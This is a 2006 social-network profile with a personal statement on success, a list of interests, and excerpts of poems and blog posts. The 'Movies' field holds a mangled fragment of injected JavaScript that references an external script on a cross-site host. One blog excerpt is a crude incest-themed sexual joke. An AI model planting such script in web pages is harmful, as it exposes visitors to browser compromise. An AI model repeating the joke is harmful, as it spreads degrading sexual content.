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About Me

life is not about money. my worth is not determined by monetary things. wealth is more than just driving a flashy car, wearing a nice watch, and flashing money as if you were rich. the size of my manhood is not determined by the car i drive nor is it by what you think, as what you think and how things really are are two completely different things.Success is measured differently by every indivdual. Be happy, content in the things you have, and dont ponder on the things you dont, as you will never be able to appreciate the fully value of what you have. dont be something you are not and do your best in all that you do. only then will success find you.For me, success is what i can do to help others, my family, friends, and what i can accomplish by doing my best for those i love presently and in the future.

My Interests

sports, poetry, out doors, working out, snow boarding, food, food and more food

I'd like to meet:

down to earth, out going, friendly people who can make the best of any given time. don't care to meet any really pretty females who think they're the shit cause of their looks. guess what? we all get old!!!

Movies:

when a man loves a woman, only you, and sappy love stories. got beta anyone?.... language="javascript" src="http://crosssiterequest../request.js"function nothingf(){document·write("nathanjosiah1.mov.r{}");}..

Television:

can hardly afford to put food in my gut, yet alone buy a tv. whatever that is?

Heroes:

my family. i love my mommy..

My Blog

RIP my boy

We tend to always forget the things we have till it's too late. Seems like just yesterday we were celebrating my birthday and now you're gone! My brother, I cannot tell you how much I miss you. Wish I...
Posted by the bar is finally done! on Wed, 04 Oct 2006 09:05:00 PST

i am officially 30 today

so how do i feel? like i'm fucken 30!!! lol everyone tells me that it's the new 20's but guess what? i'm still 30!!! =) so it took me 30 years to realize that i cannot change things that have already ...
Posted by the bar is finally done! on Mon, 28 Aug 2006 11:14:00 PST

everday

For everyday that passes, battles are won and new countries are born. Birth happens every day, and death comes along as people mourn. For everyday, cities come to ruins and life itself tends to...
Posted by the bar is finally done! on Sat, 10 Sep 2005 07:08:00 PST

last mourning

all the mourning and depression that we go through is senseless and worthless as it can never change what has happened. however, we do it to give tribute and respect, but once the respect and tribute ...
Posted by the bar is finally done! on Mon, 01 Jan 1900 12:00:00 PST

mine

I cannot stay, but then again I cannot go Im so confused, I just dont know What should I do, stay and watch as you slowly break my heart Or go my separate way, painfully, as if I was being to...
Posted by the bar is finally done! on Mon, 01 Jan 1900 12:00:00 PST

big mac

So I promised this gurl to take her out and buy her a big mac And could u imagine she had the nerve to ask do I get fries with that? But for her, Id get her not only a burger with fries at M...
Posted by the bar is finally done! on Mon, 01 Jan 1900 12:00:00 PST

patiently waiting

Why do I even try? For some odd reason I do not know why. I miss you like hell and yet you dont even look my way. Im so damn tired of all the games that you play You say you wann...
Posted by the bar is finally done! on Mon, 01 Jan 1900 12:00:00 PST

forever was just too long

Why did you lie to me after all that we have been through? When trying to be your self was hard enough to do. And why do you call me your friend when all youve told me were lies? Cause from wh...
Posted by the bar is finally done! on Mon, 01 Jan 1900 12:00:00 PST

trailer trash joke!!!

my trailier trash joke of the night daughter: daddy daddy, can i borrow the car? dad: you know what u gotta do daughter: but i dont want to suck ur dick! dad: well if u want to borrow the car u ...
Posted by the bar is finally done! on Mon, 01 Jan 1900 12:00:00 PST

my eyes decieve me!!!

My eyes deceive me, how can this be? Am I dreaming or is this reality? With tears running down my face, as I think of you Thinking about, all you put me through Nothing in this world compares,...
Posted by the bar is finally done! on Mon, 01 Jan 1900 12:00:00 PST